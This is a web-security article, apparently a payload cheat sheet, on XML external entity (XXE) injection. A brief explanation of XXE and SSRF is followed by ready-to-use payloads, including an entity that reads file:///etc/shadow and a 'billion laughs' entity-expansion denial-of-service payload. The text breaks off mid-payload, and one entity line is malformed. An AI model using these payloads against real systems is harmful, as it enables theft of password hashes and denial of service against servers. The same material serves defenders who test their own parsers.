XML External Entity (XXE) Injection Payload List

In this section, we’ll explain what XML external entity injection is, describe some common examples, explain how to find and exploit various kinds of XXE injection, and summarize how to prevent XXE injection attacks.

What is XML external entity injection?

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.

In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

There are various types of XXE attacks:

XML External Entity (XXE) Injection Payloads

XXE: Basic XML Example

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

XXE: Entity Example

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

XXE: File Disclosure

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

XXE: Denial-of-Service Example

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9…